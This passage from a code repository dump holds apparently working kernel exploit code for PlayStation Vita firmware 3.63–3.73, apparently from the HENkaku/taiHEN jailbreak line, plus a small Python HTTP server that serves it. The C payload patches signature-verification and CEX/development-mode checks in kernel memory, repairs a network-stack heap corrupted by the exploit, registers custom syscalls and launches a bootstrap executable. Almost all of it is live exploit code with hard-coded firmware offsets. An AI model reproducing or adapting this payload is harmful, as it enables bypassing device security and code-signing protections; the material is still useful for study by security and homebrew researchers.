0x421EFC96);\n\tLOG(\"sysroot_421EFC96 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(old_sysroot_421EFC96, addr, 16);\n\t\tINSTALL_HOOK(hook_sysroot_421EFC96, addr);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"hooked sysroot_421EFC96\");\n\n\t// To bypass 0x8080004C error on FW 3.60+\n\taddr = find_import(appmgr_info, 0xFD00C69A, 0xD78B04A2);\n\tLOG(\"ksceSblAimgrIsCEX stub: %p\", addr);\n\tif (addr) {\n\t\tDACR_OFF(\n\t\t\tmemcpy(old_ksceSblAimgrIsCEX, addr, 16);\n\t\t\tINSTALL_HOOK(hook_ksceSblAimgrIsCEX, addr);\n\t\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t\t);\n\t\tLOG(\"hooked ksceSblAimgrIsCEX\");\n\t}\n\n\t// To bypass 0x80020012 error on FW 3.70+\n\taddr = find_import(appmgr_info, 0x9AD8E213, 0xE87D1777);\n\tLOG(\"ksceSblACMgrIsDevelopmentMode stub: %p\", addr);\n\tif (addr) {\n\t\tDACR_OFF(\n\t\t\tmemcpy(old_ksceSblACMgrIsDevelopmentMode, addr, 16);\n\t\t\tINSTALL_HOOK(hook_ksceSblACMgrIsDevelopmentMode, addr);\n\t\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t\t);\n\t\tLOG(\"hooked ksceSblACMgrIsDevelopmentMode\");\n\t}\n\n\tDACR_OFF(\n\t\tmemcpy(old_ux0_data_path, ux0_data_path_addr, sizeof(old_ux0_data_path));\n\t\tmemcpy(ux0_data_path_addr, ur0_temp_path, sizeof(ur0_temp_path));\n\t);\n    LOG(\"hooked ux0:data path\");\n\n\tDACR_OFF(has_sigpatches = 1);\n\n\t__asm__ volatile (\"isb\" ::: \"memory\");\n}\n\nvoid remove_sigpatches(void) {\n\tvoid *addr;\n\tif (!has_sigpatches) return;\n\tLOG(\"removing temporary patches\");\n\taddr = find_import(modulemgr_info, 0x7ABF5135, 0xF3411881);\n\tLOG(\"sbl_F3411881 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(addr, old_sbl_F3411881, 16);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"unhooked sbl_F3411881\");\n\taddr = find_import(modulemgr_info, 0x7ABF5135, 0x89CCDA2C);\n\tLOG(\"sbl_89CCDA2C stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(addr, old_sbl_89CCDA2C, 16);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"unhooked sbl_89CCDA2C\");\n\taddr = find_import(modulemgr_info, 0x7ABF5135, 0xBC422443);\n\tLOG(\"sbl_BC422443 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(addr, old_sbl_BC422443, 16);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"unhooked sbl_BC422443\");\n\taddr = find_import(appmgr_info, 0x2ED7F97A, 0x421EFC96);\n\tLOG(\"sysroot_421EFC96 stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(addr, old_sysroot_421EFC96, 16);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"unhooked sysroot_421EFC96\");\n\taddr = find_import(appmgr_info, 0xFD00C69A, 0xD78B04A2);\n\tLOG(\"ksceSblAimgrIsCEX stub: %p\", addr);\n\tif (addr) {\n\t\tDACR_OFF(\n\t\t\tmemcpy(addr, old_ksceSblAimgrIsCEX, 16);\n\t\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t\t);\n\t\tLOG(\"unhooked ksceSblAimgrIsCEX\");\n\t}\n\taddr = find_import(appmgr_info, 0x9AD8E213, 0xE87D1777);\n\tLOG(\"ksceSblACMgrIsDevelopmentMode stub: %p\", addr);\n\tDACR_OFF(\n\t\tmemcpy(addr, old_ksceSblACMgrIsDevelopmentMode, 16);\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);\n\t\tksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);\n\t);\n\tLOG(\"unhooked ksceSblACMgrIsDevelopmentMode\");\n\n\tDACR_OFF(\n\t\tmemcpy(ux0_data_path_addr, old_ux0_data_path, sizeof(old_ux0_data_path));\n\t);\n\tLOG(\"unhooked ux0:data path\");\n\n\tDACR_OFF(has_sigpatches = 0);\n\n\t__asm__ volatile (\"isb\" ::: \"memory\");\n}\n\nstatic void find_ux0_data_path_addr() {\n\tchar *from = (char *)(appmgr_code + appmgr_info->stub_top);\n\tchar *to = (char *)(appmgr_code + appmgr_size);\n\twhile (strcmp(from, \"ux0:data\") != 0 && from < (to - 8))\n\t\tfrom += 4;\n\tDACR_OFF(ux0_data_path_addr = from);\n}\n\nstatic int get_shell_pid(void) {\n\tunsigned data[0xE8/4];\n\tint ret, ppid, pppid;\n\n\tdata[0] = sizeof(data);\n\tret = ksceKernelGetProcessInfo(0, data);\n\tppid = data[5];\n\tLOG(\"ret: %x, ppid: %x\", ret, ppid);\n\tret = ksceKernelGetProcessInfo(ppid, data);\n\tpppid = data[5];\n\tLOG(\"ret: %x, shell_pid: %x\", ret, pppid);\n\treturn pppid;\n}\n\nint load_taihen(void) {\n  int state;\n\tint opt, taiid, modid, ret, result;\n\n  ENTER_SYSCALL(state);\n\n\t// load taiHEN\n\topt = 4;\n\ttaiid = ksceKernelLoadModule(\"ur0:tai/taihen.skprx\", 0, &opt);\n\tLOG(\"LoadTaiHEN: 0x%08X\", taiid);\n\tremove_sigpatches();\n\tLOG(\"Removed temp patches\");\n\tresult = 0;\n\tret = ksceKernelStartModule(taiid, 0, NULL, 0, NULL, &result);\n\tLOG(\"StartTaiHEN: 0x%08X, 0x%08X\", ret, result);\n\tif (ret == 0) {\n\t\tret = result;\n\t}\n\tif (ret < 0) {\n\t\tgoto end;\n\t}\n\n\t// load henkaku kernel\n\tmodid = ksceKernelLoadModule(\"ur0:tai/henkaku.skprx\", 0, &opt);\n\tLOG(\"LoadHENKaku kernel: 0x%08X\", modid);\n\tresult = 0;\n\tret = ksceKernelStartModule(modid, 4, &shell_pid, 0, NULL, &result);\n\tLOG(\"StartHENkaku kernel: 0x%08X, 0x%08X\", ret, result);\n\tif (ret == 0) {\n\t\tret = result;\n\t}\n\tif (ret < 0) {\n\t\tgoto end;\n\t}\n\nend:\n\tEXIT_SYSCALL(state);\n\treturn ret;\n}\n\nstatic void __attribute__((noinline, naked)) free_and_exit(int blk, void *free, void *lr) {\n\t// now free the executable memory. this frees our current function so we have\n\t// to ensure we do not return here\n\t__asm__ volatile (\"mov lr, %0\\n\"\n\t\t\t\t\t\t\t\t\t\t\"bx r1\" :: \"r\" (lr) : \"lr\");\n}\n\nvoid cleanup_memory(void) {\n\tvoid *lr;\n\t__asm__ volatile (\"mov %0, lr\" : \"=r\" (lr));\n\tLOG(\"calling cleanup from %x\", lr);\n\t// TODO: Delete bootstrap.self (#37)\n\t// remove syscalls\n\tLOG(\"removing syscalls\");\n\tksceKernelSetSyscall(syscall_id + 0, syscall_stub);\n\tksceKernelSetSyscall(syscall_id + 1, syscall_stub);\n\tksceKernelSetSyscall(syscall_id + 2, syscall_stub);\n\tksceKernelSetSyscall(syscall_id + 3, syscall_stub);\n\tLOG(\"freeing executable memory\");\n\treturn free_and_exit(g_rx_block, ksceKernelFreeMemBlock, lr);\n}\n\n/* Install path and arguments */\nconst char launch_path_ur[] = \"ur0:/temp/bootstrap.self\";\nconst char launch_path_ux[] = \"ux0:/data/bootstrap.self\";\nconst char launch_args[] = \"\\0\\0\\0\\0-nonsuspendable\\0-livearea_off\\0\";\n\nint thread_main(int args, void *argp) {\n\tchar real_args[sizeof(launch_args)];\n\tint opt[52/4];\n\tint ctx[16/4];\n\tconst char *launch_path;\n\tint fd;\n\tint ret;\n\n\tvoid *lr;\n\t__asm__ volatile (\"mov %0, lr\" : \"=r\" (lr));\n\n\tLOG(\"Main kernel thread, called from %x!\", lr);\n\n\tmemcpy(real_args, launch_args, sizeof(launch_args));\n\t*(uint16_t *)&real_args[0] = syscall_id;\n\n\tLOG(\"Loading bootstrap to system\");\n\tlaunch_path = launch_path_ux;\n\tret = fd = ksceIoOpen(launch_path, 0x603, 0x6);\n\tLOG(\"ux ksceIoOpen: %x\", fd);\n\tif (fd < 0) {\n\t\tlaunch_path = launch_path_ur;\n\t\tfd = ksceIoOpen(launch_path, 0x603, 0x6);\n\t\tLOG(\"ur ksceIoOpen: %x\", fd);\n\t}\n\tif (fd >= 0) {\n\t\t// ret = ksceIoWrite(fd, bootstrap_self, bootstrap_self_len);\n\t\tLOG(\"ksceIoWrite: %x\", ret);\n\t\tksceIoClose(fd);\n\n\t\tfor (int i = 0; i < sizeof(opt)/4; i++) {\n\t\t\topt[i] = 0;\n\t\t}\n\t\topt[0] = sizeof(opt);\n\t\tLOG(\"Launching bootstrap...\");\n\t\tret = ksceAppMgrLaunchAppByPath(launch_path, real_args, sizeof(launch_args), 0, opt, NULL);\n\t\tLOG(\"ksceAppMgrLaunchAppByPath: %x\", ret);\n\t}\n\tif (ret < 0) {\n\t\tLOG(\"unable to write bootstrap!\");\n\t\tremove_sigpatches();\n\t\tremove_pkgpatches();\n\t\t__asm__ volatile (\"mov lr, %0\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\"mov r0, %1\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\"bx r0\\n\" :: \"r\" (lr), \"r\" (cleanup_memory) : \"r0\", \"lr\");\n\t\tLOG(\"should not be here!\");\n\t\twhile (1);\n\t}\n\n\tLOG(\"done with kernel thread!\");\n\treturn 0;\n}\n\nint add_syscalls(void) {\n\tksceKernelSetSyscall(syscall_id + 0, load_taihen);\n\tksceKernelSetSyscall(syscall_id + 1, remove_pkgpatches);\n\tksceKernelSetSyscall(syscall_id + 2, remove_sigpatches);\n\tksceKernelSetSyscall(syscall_id + 3, cleanup_memory);\n\treturn 0;\n}\n\nvoid resolve_imports(unsigned sysmem_base) {\n\tmodule_info_t *sysmem_info = find_modinfo(sysmem_base, \"SceSysmem\");\n\tu32_t modulemgr_base;\n\n\t// BEGIN 3.63-3.73 specific offsets here, used to find Modulemgr from just sysmem base\n\tLOG(\"sysmem base: 0x%08x\", sysmem_base);\n\tvoid *sysmem_data = (void*)(*(u32_t*)((u32_t)(sysmem_base) + 0x26a28) - 0xA0);\n\tLOG(\"sysmem data base: 0x%08x\", sysmem_data);\n\tmodulemgr_base = (*(u32_t*)((u32_t)(sysmem_data) + 0x438c) - 0x40);\n\tLOG(\"modulemgr base: 0x%08x\", modulemgr_base);\n\t// END 3.63-3.73 specific offsets\n\n\tDACR_OFF(modulemgr_info = find_modinfo((u32_t)modulemgr_base, \"SceKernelModulemgr\"));\n\tLOG(\"modulemgr modinfo: 0x%08x\", modulemgr_info);\n\n\tDACR_OFF(\n\t\tksceKernelGetModuleList = find_export(modulemgr_info, 0xB72C75A4);\n\t\tksceKernelGetModuleInfo = find_export(modulemgr_info, 0xDAA90093);\n\t);\n\n\tLOG(\"ksceKernelGetModuleList: %08x\", ksceKernelGetModuleList);\n\tLOG(\"ksceKernelGetModuleInfo: %08x\", ksceKernelGetModuleInfo);\n\n\tint *modlist[MOD_LIST_SIZE];\n\tint modlist_records;\n\tSceModInfo info;\n\tint ret;\n\n\tmodlist_records = MOD_LIST_SIZE;\n\tret = ksceKernelGetModuleList(0x10005, 0x7FFFFFFF, 1, modlist, &modlist_records);\n\tLOG(\"sceKernelGetModuleList() returned 0x%x\", ret);\n\tLOG(\"modlist_records: %d\", modlist_records);\n\tmodule_info_t *threadmgr_info = 0, *sblauthmgr_info = 0, *processmgr_info = 0, *display_info = 0, *iofilemgr_info = 0;\n\tu32_t modulemgr_data = 0;\n\tfor (int i = 0; i < modlist_records; ++i) {\n\t\tinfo.size = sizeof(info);\n\t\tret = ksceKernelGetModuleInfo(0x10005, modlist[i], &info);\n\t\tif (strcmp(info.name, \"SceKernelThreadMgr\") == 0) {\n\t\t\tthreadmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, \"SceKernelThreadMgr\");\n\t\t}\n\t\tif (strcmp(info.name, \"SceSblAuthMgr\") == 0) {\n\t\t\tsblauthmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, \"SceSblAuthMgr\");\n\t\t}\n\t\tif (strcmp(info.name, \"SceNpDrm\") == 0) {\n\t\t\tDACR_OFF(scenpdrm_info = find_modinfo((u32_t)info.segments[0].vaddr, \"SceNpDrm\"));\n\t\t}\n\t\tif (strcmp(info.name, \"SceNetPs\") == 0) {\n\t\t\tDACR_OFF(scenet_code = (u32_t)info.segments[0].vaddr);\n\t\t\tDACR_OFF(scenet_data = (u32_t)info.segments[1].vaddr);\n\t\t}\n\t\tif (strcmp(info.name, \"SceKernelModulemgr\") == 0) {\n\t\t\tmodulemgr_data = (u32_t)info.segments[1].vaddr;\n\t\t}\n\t\tif (strcmp(info.name, \"SceAppMgr\") == 0) {\n\t\t\tDACR_OFF(appmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, \"SceAppMgr\"));\n\t\t\tDACR_OFF(appmgr_code = (u32_t)info.segments[0].vaddr);\n\t\t\tDACR_OFF(appmgr_size = (u32_t)info.segments[0].memsz);\n\t\t}\n\t\tif (strcmp(info.name, \"SceIofilemgr\") == 0) {\n\t\t\tiofilemgr_info = find_modinfo((u32_t)info.segments[0].vaddr, \"SceIofilemgr\");\n\t\t}\n\t\tif (strcmp(info.name, \"SceProcessmgr\") == 0) {\n\t\t\tprocessmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, \"SceProcessmgr\");\n\t\t}\n\t}\n\n\tLOG(\"threadmgr_info: 0x%08x | sblauthmgr_info: 0x%08x | scenet_code: 0x%08x | scenet_data: 0x%08x | scenpdrm_info: 0x%08x\", threadmgr_info, sblauthmgr_info, scenet_code, scenet_data, scenpdrm_info);\n\n\tDACR_OFF(\n\t\thook_resume_sbl_F3411881 = find_export(sblauthmgr_info, 0xF3411881);\n\t\thook_resume_sbl_89CCDA2C = find_export(sblauthmgr_info, 0x89CCDA2C);\n\t\thook_resume_sbl_BC422443 = find_export(sblauthmgr_info, 0xBC422443);\n\n\t\tksceKernelCpuIcacheAndL2WritebackInvalidateRange = find_export(sysmem_info, 0x73E895EA);\n\t\tksceKernelCpuDcacheWritebackRange = find_export(sysmem_info, 0x9CB9F0CE);\n\t\tksceIoOpen = find_export(iofilemgr_info, 0x75192972);\n\t\tksceIoClose = find_export(iofilemgr_info, 0xf99dd8a3);\n\t\tksceIoWrite = find_export(iofilemgr_info, 0x21ee91f0);\n\t\tksceAppMgrLaunchAppByPath = find_export(appmgr_info, 0xB0A37065);\n\t\tksceKernelLoadModule = find_export(modulemgr_info, 0x86D8D634);\n\t\tksceKernelStartModule = find_export(modulemgr_info, 0x0675B682);\n\t\tksceKernelSetSyscall = find_export(modulemgr_info, 0x2E4A10A0);\n\t\tksceKernelFreeMemBlock = find_export(sysmem_info, 0x9e1c61);\n\t\tksceKernelFindMemBlockByAddr = find_export(sysmem_info, 0x8a1742f6);\n\t\tksceKernelCreateThread = find_export(threadmgr_info, 0xC6674E7D);\n\t\tksceKernelStartThread = find_export(threadmgr_info, 0x21F5419B);\n\t\tksceKernelExitDeleteThread = find_export(threadmgr_info, 0x1D17DECF);\n\t\tksceKernelGetMemBlockBase = find_export(sysmem_info, 0xA841EDDA);\n\t\tksceKernelGetProcessInfo = find_export(processmgr_info, 0x0AFF3EAE);\n\t);\n\n\t// BEGIN 3.63-3.73\n\tint *syscall_lo = (int *)(modulemgr_data + 0x2038c);\n\tDACR_OFF(\n\t\tsyscall_table = (void **) (*((u32_t*)(modulemgr_data + 0x20388)));\n\t\tsyscall_id = (*syscall_lo & 0xFFF) | 1; // id must not be x00\n\t\tsyscall_stub = (void *)(modulemgr_base + 0x9fc5);\n\t);\n\t*syscall_lo = syscall_id + 5;\n\t// END 3.63-3.73\n}\n\n#define MAGIC_BUSY 0x42755379\n#define MAGIC_FREE 0x46724565\n#define MAGIC_MAAK 0x4d61416b\n\ntypedef struct chunk_header {\n\tuint32_t magic;\n\tuint32_t free_lr;\n\tuint32_t malloc_lr;\n\tuint32_t footer;\n\tstruct chunk_header *next;\n\tstruct chunk_header *prev;\n\tuint32_t size;\n\tuint32_t pad;\n} chunk_header_t;\n\ntypedef struct chunk_footer {\n\tuint32_t magic;\n\tuint32_t pad;\n} chunk_footer_t;\n\nvoid fix_netps_heap(uint32_t iflist_addr) {\n\n\t// BEGIN 3.65-3.70\n\tint (*getiflist)() = (void*)(scenet_code + 0x2fc1);\n\tint (*free)() = (void*)(scenet_code + 0x5b09);\n\tint (*control)() = (void*)(scenet_code + 0x89bd);\n\tint (*ifunit)() = (void*)(scenet_code + 0xf835);\n\tint (*if_clone_destroy)() = (void*)(scenet_code + 0xf905);\n\tint (*in_control)() = (void*)(scenet_code + 0x1ac15);\n\tint (*sce_psnet_bnet_mutex_unlock)() = (void*)(scenet_code + 0x2a3ed);\n\tint (*sce_psnet_bnet_mutex_lock)() = (void*)(scenet_code + 0x2a355);\n\tvoid *global_mutex = (void*)((u32_t)scenet_data + 0x850);\n\tvoid *heap_mutex = (void*)((u32_t)scenet_data + 0x88c);\n\t// END 3.65-3.70\n/*\n\t// BEGIN 3.71-3.73\n\tint (*free)() = (void*)(scenet_code + 0x5b05);\n\tint (*control)() = (void*)(scenet_code + 0x89ed);\n\tint (*if_clone_destroy)() = (void*)(scenet_code + 0xf935);\n\tint (*sce_psnet_bnet_mutex_unlock)() = (void*)(scenet_code + 0x2a41d);\n\tint (*sce_psnet_bnet_mutex_lock)() = (void*)(scenet_code + 0x2a385);\n\tvoid *global_mutex = (void*)((u32_t)scenet_data + 0x850);\n\tvoid *heap_mutex = (void*)((u32_t)scenet_data + 0x88c);\n\t// END 3.71-3.73\n*/\n\tsce_psnet_bnet_mutex_lock(heap_mutex, 0);\n\n\tchunk_header_t *iflist_header = (chunk_header_t *)(iflist_addr - 0x20);\n\tchunk_header_t *split_header = (chunk_header_t *)(iflist_addr + 0x88);\n\tchunk_header_t *softc_header = (chunk_header_t *)(iflist_addr + 0x150);\n\tchunk_header_t *plant_header = (chunk_header_t *)(iflist_addr + 0x6c8);\n\n\t// Restore chunk headers and footers\n\t*(uint32_t *)((char *)iflist_header + sizeof(chunk_header_t) + iflist_header->footer) = MAGIC_MAAK;\n\n\tsplit_header->magic = MAGIC_BUSY;\n\tsplit_header->free_lr = 0;\n\tsplit_header->malloc_lr = 0;\n\tsplit_header->footer = 0xa0;\n\tsplit_header->next = softc_header;\n\tsplit_header->prev = iflist_header;\n\tsplit_header->size = split_header->footer + sizeof(chunk_footer_t);\n\tsplit_header->pad = 0;\n\n\t*(uint32_t *)((char *)split_header + sizeof(chunk_header_t) + split_header->footer) = MAGIC_MAAK;\n\n\tsoftc_header->magic = MAGIC_BUSY;\n\tsoftc_header->free_lr = 0;\n\tsoftc_header->malloc_lr = 0;\n\tsoftc_header->footer = 0x550;\n\tsoftc_header->next = plant_header;\n\tsoftc_header->prev = split_header;\n\tsoftc_header->size = softc_header->footer + sizeof(chunk_footer_t);\n\tsoftc_header->pad = 0;\n\n\t*(uint32_t *)((char *)softc_header + sizeof(chunk_header_t) + softc_header->footer) = MAGIC_MAAK;\n\n\tplant_header->magic = MAGIC_BUSY;\n\tplant_header->free_lr = 0;\n\tplant_header->malloc_lr = 0;\n\tplant_header->footer = 0x4000;\n\tplant_header->next = NULL;\n\tplant_header->prev = softc_header;\n\tplant_header->size = plant_header->footer + sizeof(chunk_footer_t);\n\tplant_header->pad = 0;\n\n\t// Find next busy chunk\n\tchunk_header_t *curr = plant_header;\n\tdo {\n\t\tcurr = (chunk_header_t *)((char *)curr + sizeof(chunk_header_t) + curr->size);\n\t} while (curr->magic != MAGIC_BUSY);\n\n\tplant_header->next = curr;\n\n\t// Restore pppoe softc from leak\n\tchar *softc = (char *)softc_header + sizeof(chunk_header_t);\n\tmemcpy(softc, (void *)(iflist_addr + 0x6e8 + 0x2000), 0x550);\n\t*(uint32_t *)(softc + 0x00) = (uint32_t)softc;\n\t*(uint32_t *)(softc + 0x0c) = 0;\n\t*(uint32_t *)(softc + 0x10) = 0;\n\t*(uint32_t *)(softc + 0xb0) = 0;\n\t*(uint32_t *)(softc + 0xb4) = 0;\n\t*(uint32_t *)(softc + 0x118) = 0;\n\n\tsce_psnet_bnet_mutex_unlock(heap_mutex);\n\n\t// Free iflist\n\tfree(iflist_addr);\n\n\t// Free allocations\n\tuint32_t args[2];\n\targs[0] = 0;\n\tcontrol(NULL, 0x20000009, args, sizeof(args));\n\targs[0] = 2;\n\tcontrol(NULL, 0x20000009, args, sizeof(args));\n\targs[0] = 3;\n\tcontrol(NULL, 0x20000009, args, sizeof(args));\n\n\t// Destroy clone interface\n\tif_clone_destroy(\"pppoe1337\");\n\n\t// Delete custom address\n\tchar iflist[0x140 * 2];\n\tgetiflist(iflist, 2);\n\n\tchar ifr[0x20];\n\tmemcpy(ifr, iflist + 0x140, 0x10);\n\t*(uint8_t *)(ifr + 0x10)  = 0x10;\n\t*(uint8_t *)(ifr + 0x11)  = 0x02;\n\t*(uint32_t *)(ifr + 0x14) = 0x13371337;\n\n\tvoid *ifp = (void *)ifunit(iflist + 0x140);\n\n\tin_control(NULL, 0x80206919, ifr, ifp, 0xDEADBEEF);\n\n\t// Unlock global mutex\n\tsce_psnet_bnet_mutex_unlock(global_mutex);\n}\n\nvoid start() __attribute__ ((weak, alias (\"payload\")));\nvoid _start() __attribute__ ((weak, alias (\"payload\")));\nvoid __attribute__ ((section (\".text.start\"))) payload(void *rx_block, uint32_t sysmem_addr, uint32_t iflist_addr) {\n\t// find sysmem base, etc\n\tuint32_t sysmem_base = sysmem_addr;\n\tint ret;\n\t// BEGIN 3.63-3.73\n\tvoid (*debug_print_local)(char *s, ...) = (void*)(sysmem_base + 0x1A155);\n\t// END 3.63-3.73\n\n\tDACR_OFF(\n\t\tdebug_print = debug_print_local;\n\t);\n\n\tLOG(\"+++ Entered kernel payload +++\");\n\tLOG(\"payload=0x%x, size=0x%x, sp=0x%x\", payload, rx_size, &ret);\n\n\tLOG(\"resolving imports\");\n\tresolve_imports(sysmem_base);\n\n\tLOG(\"fixing netps heap\");\n\tfix_netps_heap(iflist_addr);\n\n\tLOG(\"set up syscalls starting at id: %x\", syscall_id);\n\tadd_syscalls();\n\n\tLOG(\"getting shell pid\");\n\tDACR_OFF(shell_pid = get_shell_pid());\n\n\tLOG(\"adding temporary patches\");\n\tfind_ux0_data_path_addr();\n\ttemp_pkgpatches();\n\ttemp_sigpatches();\n\n\tLOG(\"find rx block\");\n\tDACR_OFF(\n\t\tg_rx_block = ksceKernelFindMemBlockByAddr(rx_block, 0);\n\t);\n\n\tLOG(\"flush changes\");\n\tvoid *base;\n\tret = ksceKernelGetMemBlockBase(g_rx_block, &base);\n\tLOG(\"ksceKernelGetMemBlockBase: %x, %x\", ret, base);\n\tksceKernelCpuDcacheWritebackRange((uint32_t)base, 0x2000);\n\n\tint tid;\n\tLOG(\"starting kernel thread\");\n\ttid = ksceKernelCreateThread(\"stage2\", thread_main, 64, 0x1000, 0, 0, 0);\n\tLOG(\"create tid: %x\", tid);\n\tret = ksceKernelStartThread(tid, 0, NULL);\n\tLOG(\"start thread: %x\", ret);\n\n\tLOG(\"killing self\");\n\tksceKernelExitDeleteThread(0);\n\n\tLOG(\"should not be here!\");\n\twhile(1) {}\n}\n"
  },
  {
    "path": "server.py",
    "content": "#!/usr/bin/env python2\n\nimport socket\nimport SocketServer, SimpleHTTPServer\n\nPORT = 8888\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.connect((\"gmail.com\", 80))\nlocalIP = s.getsockname()[0]\ns.close()\n\nprint \"Starting server on \" + localIP + \":\" + str(PORT)\n\nHandler = SimpleHTTPServer.SimpleHTTPRequestHandler\nserver = SocketServer.TCPServer(('', PORT), Handler)\nserver.serve_forever()\n"
  }
]